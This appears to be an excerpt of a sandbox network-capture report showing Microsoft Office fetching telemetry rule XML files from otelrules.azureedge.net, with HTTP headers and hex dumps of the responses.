2024-10-28 05:28:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052815Z-17c5cb586f672xmrz843mf85fn00000003a0000000008smw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:16 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b2ef1849-d01e-00ad-023d-26e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052816Z-r197bdfb6b4wmcgqdschtyp7yg00000004bg00000000dc58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052816Z-r197bdfb6b4zd9tpkpdngrtchw00000003w0000000004b9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052816Z-r197bdfb6b48pcqqxhenwd2uz800000005dg000000001dmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:16 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 7acc01d2-801e-00ac-78ea-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052816Z-r197bdfb6b466qclztvgs64z10000000065g000000000suq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:16 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052816Z-16849878b78g2m84h2v9sta29000000003hg000000005a94 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78qf2gleqhwczd21s00000004rg00000000dwgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78tg5n42kspfr0x4800000004q0000000001qn3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-15b8d89586fnsf5zd126eyaetw00000005t00000000054ch x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78fkwcjkpn19c5dsn00000003m000000000aknd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052817Z-16849878b78qfbkc5yywmsbg0c000000046g00000000f3ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 